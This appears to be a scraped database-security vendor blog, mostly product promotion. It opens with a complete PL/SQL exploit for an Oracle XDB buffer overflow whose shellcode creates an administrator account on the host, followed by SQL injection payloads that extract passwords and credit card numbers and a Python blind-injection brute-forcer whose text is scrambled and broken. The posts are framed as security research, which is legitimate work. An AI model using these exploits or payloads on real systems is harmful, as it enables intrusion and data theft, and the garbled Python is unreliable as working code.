New exploit to Oracle CVE-2007-4517 vulnerability

Summary

As part of GreenSQL’s Database security research,  we’ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.

The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.

The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.

This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.

Symptoms

System Changes:
•    New administrative user account.
(Username: GreenSQL, Password:GreenSQL)
•    OracleServiceXE service turns off.

Technical Information
The exploits has been tested on:
• Windows XP Professional SP3.
• Oracle Database 10g Express Edition.

All the known exploits and POC’s developed for this vulnerability so far are Denial-of-Service exploits.

This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.

The Exploit

The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:
1. “123”.
2. Buffer (2305 bytes)

The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.

When executing the code, the EBX contains the starting address of the buffer + 0x7A5.

In order to execute the payload in the buffer, the following steps needs to be performed:
1. The EIP should point to an address contains the jmp EBX instruction.
2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.

Jumping to EBX
In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.

Jumping to the Payload
In order to execute the payload, the following instructions needs to be performed:
sub ebx, 0x7a5
jmp ebx

The opcodes of the first instruction are:
0×81, 0xEB, 0xA5, 0×07, 0×00, 0×00.
One of the limitations of HEXTORAW() function, is that it’s not able to deal with 0×00 characters.
Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:
sub bl,0xb0
add bh,0xfa
jmp ebx

Which are equivalent to:
sub ebx, 0x5b0
jmp ebx

Which is equivalent to jmp ebx-0x5b0.

The opcodes of those instructions are:
0×80, 0xEB, 0xB0, 0×80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.

The Payload

The payload’s size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payload’s space)

The payload creates a new user account, called “GreenSQL”, with the password “GreenSQL”.
After creating the user account, it adds the user to the “Administrators” group.

The exploit code is available below.

Conclusions

It’s extremely important to make sure that you have updated your Database with the latest patches and security updates the database vendor has released, this prove of concept shows how it’s possible to gain control over your database host operating system using older vulnerability, which with extended research can be transformed to a new exploit.

Database security solutions, like GreenSQL, provides additional layer of defense against known and unknown attacks.

The Exploit POC

#################################################
## GreenSQL   ########    Proof-of-Concept     ##
## This code is for educational purposes only  ##
#################################################
declare
 sc varchar2(32767);
 junk varchar2(32767);
 junk2 varchar2(32767);
 EBX varchar2(32767);
 junk3 varchar2(32767);
 JMP2SC varchar2(32767);
 junk4 varchar2(32767);
 EIP varchar2(32767);
 junk5 varchar2(32767);
 begin
 junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
 sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742
 4f45b31c9b147316b18036b1883c3643fc89a8c36'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8
 67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7
 4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934
 404df9803b5de4d5089a9fa'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8
 21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74
 d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144
 f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad
 136f07252b389814ab68ccecc'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5
 260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2
 f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16
 d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15
 dedb44ddaf1'));
 junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';
 junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';
 JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));
 junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';
 EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71
 60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX
 junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';
 xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX
 ||junk3||JMP2SC||junk4||EIP||junk5);
 end;

Lateral SQL Injection in Oracle Database

 

Overview
=======

In order to get the system date in Oracle, you able to query for sysdate field in table dual.
SQL> select sysdate from dual;
SYSDATE
————–
15-SEP-11

SYSDATE format is set in: nls_date_format.

Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.

This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.

 

Vulnerability
=========

Nls_date_format allows input of any string without filtering.
Example:  alter session set nls_date_format = ‘”the time is:”… hh24:mi’

After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).

SQL> select sysdate from dual;

SYSDATE
————–
the time is:… 14:27

By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.
In example, take a look on the following PL/SQL procedure:

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:=‘select object_name from all_objects where created = ”’ || v_date ||””;
dbms_output.enable;
dbms_output.put_line(stmt);
execute immediate stmt;
end;

The procedure set the variable v_date and set it as SYSDATE.

After setting v_date, the procedure sets stmt as “select object_name from all_objedcts where created = ‘[v_date]’;, which returns the names of all objects that created at the date specified in v_date.
Note that to run and get dbms_output, you need to set serveroutput on before executing the procedure.

Example: select object_name from all_objects where created = ’15-SEP-11′;

Exploitation
==========
An attacker can manipulate that procedure by setting nls_date_format to ‘ or 1=1–.

alter session set nls_date_format = ‘”” or 1=1–”‘;

In this case, stmt will be:

select object_name from all_objects where created = ‘’ or 1=1–’;

Which will return all object_name in all_objects.

in addition, it is able to execute any SQL command, in example:
alter session set nls_date_format = ‘”” union select username from users–”‘;
alter session set nls_date_format = ‘”” union select password from users–”‘;
alter session set nls_date_format = ‘”” union select credit_card_number from clients–”‘;
etc..

Time-Based Blind SQL Injection

Time-Based Blind SQL Injection

 
Overview
=======
Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results.
Most of the time, the indication bases on server errors or customized application errors.

Time-Based Blind SQL Injection
======================
Sometimes the attacker might not be able to identify the query execution success, because the server/application doesn’t show any error.
One of the techniques to get an indication for the query execution success called Time-Based Blind SQL Injection.
With this technique, the attacker executes functions that take some time to finish (for example: Benchmark, Delay, etc.). By measuring the time took the application to response, the attacker might be able to identify if the query executed successfully or the query execution failed.

Discovering Database Details
====================
An attacker can export information from the database by using Time-Based Blind SQL Injection.
For example, an attacker can brute force the database’s name with this technique:
1.    Set the time before the query execution.
2.    Execute the following query:

declare @s varchar(100)
select @s = db_name()
if (ascii(substring(@s,1,1))) = 65
waitfor delay ’0:0:10′
else
waitfor delay ’0:0:2′

3.    Set the time after the query execution.
4.    Calculate time it took to the query to run,
4.1.    if it took 10 seconds, the first character of the database’s name is ‘A’ (ASCII 65)
4.2.    if it took 2 seconds, the first character of the database’s name if NOT ‘A’.

Database’s name brute-forcer (Proof-of-Concept in Python):
==========================================

Tested Environment

1.    Windows 7 64-bits.
2.    MSSQL Server 2008.
3.    Database: AdventureWorks, can be downloaded from: http://msftdbprodsamples.codeplex.com/releases/view/37109)
4.    SQL Server Configuration:
a.    TCP/IP – Enabled.
b.    Authentication Mode – Both SQL Server and Windows.
c.    SQL User:
i.    Name: GreenSQL
ii.    Password: GreenSQL
iii.    Server Roles: sysadmin
iv.    User Mapping: AdventureWorks

 

This code is for educational purposes only!

Python Source Code
===============

##################################################
##   GreenSQL Time-Based Blind SQL Injection    ##
##          Database Name Brute Forcer          ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import pyodbc
import time
## Connect to the DB
cnxn = pyodbc.connect('DRIVER={SQL
Server};SERVER=localhost;DATABASE=AdventureWorks;UID=GreenSQL;PWD=GreenSQL')
cursor = cnxn.cursor()
## Set variables
DBName = ''
CurrChr = 0
FirstRun = int(time.time())
ASCIIRange = range(32,126)
## Discover DB Name (Brute Force)
for i in range(1,100):
if CurrChr == 125: ## if the last loop ended without a match,
break the loop
break
for CurrChr in ASCIIRange:
str(i)
print "Trying Char: " + chr(CurrChr) + " @ position: " +
print "DBName: " + DBName
query = 'declare @s varchar(100) '
query = query + 'select @s = db_name() '
query = query + 'if (ascii(substring(@s, '
query = query + str(i)
query = query + ', 1))) = '
query = query + str(CurrChr)
query = query + ' waitfor delay \'0:0:10\'' ##if the
current character matches, wait 10 seconds
query = query + 'else '
query = query + 'waitfor delay \'0:0:2\''
2 seconds
print query
StartTime = int(time.time()) ## Set the time before query
execution (UNIX Time)
cursor.execute(query)
EndTime = int(time.time())
execution (UNIX Time)
if EndTime-StartTime >= 10:
matches,
String
## Execute the query
## Set time after query
## if the current character
DBName = DBName + chr(CurrChr) ## add it to DBName
CurrChr = 1
break
## Print the findings and statistics
DoneTime = int(time.time())
print "DB Name: " + DBName
print "It took " + str(DoneTime - FirstRun) + "seconds!"

The Four Security Layers of a Web Environment

Is your web environment secure? All of it?

Many people believe that if they’ve installed a network firewall, they’ve done their duty. They think that a firewall is like a strong barrier or moat protecting their information assets and that no more is needed. Wrong! Just as in times of old, tunnels can be dug under the moat, ladders can be used to scale the wall, and secret passageways can be found into the castle.

A web environment has four layers that need protection: the Network level, the Application level, the Operating System level and the Database level. Most people think of these layers as being one within the other, like concentric circles. They reason that if they protect the outermost level, the inner levels are automatically protected.

“That is simply not so!” explains David Maman, CTO of GreenSQL. “Hackers can attack a Web environment at each level independently, and security issues at each level need to be addressed.”

At the Network level, a simple network level firewall does protect the infrastructure (the access to which IP addresses and using which port) but provides very limited protection, if any, to stop attacks at the Application and Database level.

You may have heard of bank websites having their links or text or pictures changed. Website defacement and other Application level attacks take place because someone, at some point in time, wrote sloppy software with security holes. Hackers specialize in using exploits, SQL Injections, and other techniques to attack these vulnerabilities at the code level.

One approach to prevent vulnerabilities is to have a professional code review of the software in use in the Web environment to identify and address coding security issues. Of course, reviews are only as good as the reviewers, and no one should ever review their own code. It’s much too easy to overlook one’s own mistakes.

An additional and important approach is to update all the applications in use and to harden your web and database servers. For example, Oracle has just released 78(!!) security updates in their latest release.

Another option is to use a signature-based approach to spot and then quarantine this kind of attack. Each Application level attack has a “signature” or typical way of operating that identifies it. A comparison of Web Application Firewalls (WAF) shows that some are more effective than others, but none is perfect.

The Database level, the fourth essential layer in a web environment, needs protection from attacks directed at the database. In the end, most of today’s common attacks are aimed at retrieving sensitive information from the database. This makes the fourth layer the most crucial one.

So, for security, check all four: Network, Application, Operating System and Database. To make sure your information assets are protected, your best bet is to use an integrated database security solution that is non-disruptive to existing software and databases, is easy to install and use, and provides extensive management reporting and audit trails, all without degrading responsiveness to users. Inexpensive would be nice.

GreenSQL anyone?

GreenSQL May Webinars invitation

GreenSQL invites you to participate in our May Webinars
MAY 18- Securing Databases in Minutes with GreenSQL Express
MAY 24 – Unified Database Security, the Next Generation of Database Security
Press here to sign
http://hosted.verticalresponse.com/579426/4aa0167718/316941501/bdea25b57a/

GreenSQL Express Webinar, Wednesday March 16th

Hi Everyone,

I would like to personally invite you to a GreenSQL Express Webinar,
I’ll be demonstrating GreenSQL Express, the free and simple way to keep your information private and safe.

On Wednesday, March 16th (just 2 weeks from now),
It’s called “How to Protect Sensitive Information in Minutes: Setting up GreenSQL Express with Basic Security Rules”

If you’re serious about protecting your data, you need to hear and see how it’s done. I’ll talk about:

1. Why you need a Database firewall / security solution
2. Where and How to install GreenSQL Express in your infrastructure
3. How to use GreenSQL Express to protect you database
4. How to create the security polices you need in minutes
5. How to protect your database from SQL injection attacks
6. How to implement a separation of duties in your database access
7. How to maintain business continuity with the Database Fallback feature
8. Q&A..

Again, this is happening online on Wednesday, March 16.
Use the link below to register and find the time in your time zone.

Register for a webinar, Click here to register:

Don’t miss it!

David

From the Security threat report 2011 by Sophos

From the Security threat report 2011 by Sophos, Page 46:

“Cybercrime is encroaching more and more into the business space. Industrial espionage, spearphishing of important employees to breach network boundaries and mass theft of customer information are more diffcult to detect and have very serious consequences. At the same time, network boundaries are becoming ever more indistinct and porous as new technologies enable greater access from remote workers and mobile devices. In addition, legal requirements place greater emphasis on traceability and compliance with predefned standards of data hygiene.

Increasing amounts of sensitive data is stored, accessed and manipulated in databases connected to company websites as businesses increasingly interact with their customers through the Internet. As a result, it’s become as easy to access these databases as it is to access the main doors at corporate headquarters.

Security administrators face a constant battle to maintain usability, while preventing penetration from the outside and data loss from within. Alongside protecting network boundaries, businesses and website maintainers are under growing pressure to ensure that their web presence provides adequate protection for the users of its web services.”

As time passes, organizations realize that Web Application Firewalls (WAF) are not sufficient to secure their back end databases.

GreenSQL Express provides a free, commercial grade solution to protect MS-SQL, MySQL and PostgreSQL databases from known and unknown threats. GreenSQL Express includes:

- Database Intrusion Detection and Prevention System
- Database Firewall
- Separation of Duties
- Advanced Risk Scoring Matrix
- Database Front-end Security
- Real-time Database Protection

Get a free copy of GreenSQL Express at www.greensql.com


Announcing the release of GreenSQL Pro and GreenSQL Light

We are proud to announce the release of GreenSQL Pro and GreenSQL Light, our first commercial Unified Database Security solutions, designed to provide all organizations – from small and medium businesses all the way to large enterprises – robust database security at an affordable price.

“Commercial Unified Database Security solutions” is a mouthful. Let’s look at what that means.

For us, commercial has several meanings. First, we have designed GreenSQL Pro for commercial organizations; second, we charge a modest fee for it; and third, unlike our open source code, we take full responsibility for it.

How about unified? To be unified, something must first have parts. GreenSQL Pro and GreenSQL Light include many aspects of database security within them, all contributing to their primary mission: securing databases. We’ll be discussing some of those aspects below.

And of course, there’s database. GreenSQL Pro and GreenSQL Light protect MySQL, PostgreSQL and Microsoft SQL Server. As time goes on, we will undoubtedly expand the number of databases that they guard.

Unfortunately, the definition of security solution is a moving target. As long as there are black hats in the world, achieving security will require us to stay alert and responsive to new threats. We at GreenSQL stand guard on the front lines so that you, our users, can go about your businesses in a less stressful and more productive environment.

GreenSQL Light and GreenSQL Pro are security solutions that are simple to implement, effective in protecting your business information assets and will not break your budget.

Press Release on GreenSQL’s New Commercial Products

See what the rest of the world is reading about GreenSQL PRO and GreenSQL Light. http://www.greensql.com/press

The Cost of Database Breaches

Our groundbreaking news is even more significant in the context of the following numbers.

Studies by Verizon and the Ponemon Institute show that in 2008, 285 million records were breached at an average $202 per record cost. But according to a more recent Symantec study, when the records contained personally identifiable information, the cost soared to an astounding $11,000 per record!

With the cost of database breaches reaching such astronomical heights, securing databases has become essential for ensuring business survival.

GreenSQL Pro and Light Protect Microsoft SQL Server

Today, we are proud to announce that GreenSQL Pro and GreenSQL Light are able to secure Microsoft SQL Server databases from both accidental and malicious intrusions. This is a major milestone in our mission to protect the world’s databases from SQL injection attacks.

Microsoft SQL Server’s current market share stands at more than 20%.
It has made major inroads into small companies and into departments of larger ones. GreenSQL Pro and GreenSQL Light provide cost-effective solutions to legislative compliance and security needs.

Some GreenSQL Pro Features and Benefits

GreenSQL Pro has many excellent features – too many, in fact, to detail completely here. However, we would like to draw your attention to the following four.

Virtual patching. Virtual patching is a simple but powerful feature that immediately protects organization database servers against database application exploits even before patches are installed.

Because patch installation sometimes involves taking a database or server down for a period of time, organizations may choose to risk breach rather than incur downtime,  collecting patches and installing them as a group on a monthly, quarterly, or even annual basis.

Virtual patching enables organizations to eliminate the risk in this timing decision! As soon as we get the patch from the responsible party, we update the GreenSQL Pro database firewall with the signature of the specific exploit and we block it. Our clients’ copies of GreenSQL Pro are updated automatically without affecting their operations and their databases are immediately protected.

Caching. By recognizing query recurrence within various timeframes, GreenSQL’s proprietary, patented caching algorithm improves database performance in all configurations. In those that use many resources, such as audit functionality or reporting, it reduces latency; in others, it can actually improve database performance.

Auditing. GreenSQL Pro’s audit function has a finer granularity than even the leading enterprise level security leaders. It can differentiate between the last action and the update action.

Policy-based firewall. GreenSQL Pro is a policy-based firewall at a very deep level. For each of the three modes – learning mode, risk-based IDS/IPS mode, and firewall mode – a protection profile can be created by type of database, for a specific database (or many), and/or by table (or many). In addition, these policies can be enforced for any groups defined on a server.

Click hear to download GreenSQL Pro – Download

We are offering this comprehensive package of features for GreenSQL Light at an extremely affordable $147 per server per month for those making an annual commitment. A perpetual license for GreenSQL Pro can be purchased for only $3,997 per server.

And please note that a single instance of GreenSQL Pro installed as an appliance can secure multiple databases simultaneously. As you can see, we have made GreenSQL Pro not only effective, but very affordable.

A Thank You to Our Early Open Source Adopters

GreenSQL Pro was built on the foundation of our open source GreenSQL product. Our new product exists in great measure because you and tens of thousands of others adopted GreenSQL software for protecting your own databases and stuck with us through our growing pains. We would like you to reap the rewards of your belief in us.

As a special thank you for your thoughtful contributions, suggestions and ideas, we are offering you, our open source users, the opportunity to move to GreenSQL Pro & get a FREE 3 month extension to your GreenSQL Pro license.  - For your special benefit, contact us here.
Click hear to download GreenSQL Pro

For more information on GreenSQL Products and their features, benefits, and cost, please visit our new site www.greensql.com
We welcome your comments and any suggestions for new features or improvements.

GreenSQL twitter: twitter.com/greensql
Thanks,
The GreenSQL Team

GreenSQL #4 in Top Ten of Best of Show RSA Conference 2010

Richard Stiennon, a leading security industry analyst and former VP Security Research at Gartner, gave his picks for Best of show at the RSA Conference 2010.

Even though GreenSQL was not even officially showing at RSA, the strength of our security solution and its affordability for the small to medium business caught his eye and put us right near the top of the pack.

/

It means a lot when someone as experienced and knowledgable as Richard gives us his vote of confidence.

GreenSQL in Delicious.com top PostgreSQL links.

GreenSQL version 1.2 offers PostgreSQL database support for the first time.

It turns out that since the official release, less than a month ago, GreenSQL reached number three in the delicious top PostgreSQL links.

It shows that the GreenSQL became among the most popular tools for developers and admins of  PostgreSQL.

GreenSQL Database Security Solution for PostgreSQL

GreenSQL is the only solution (open or closed source) which provides Database Firewall for the PostgreSQL Database.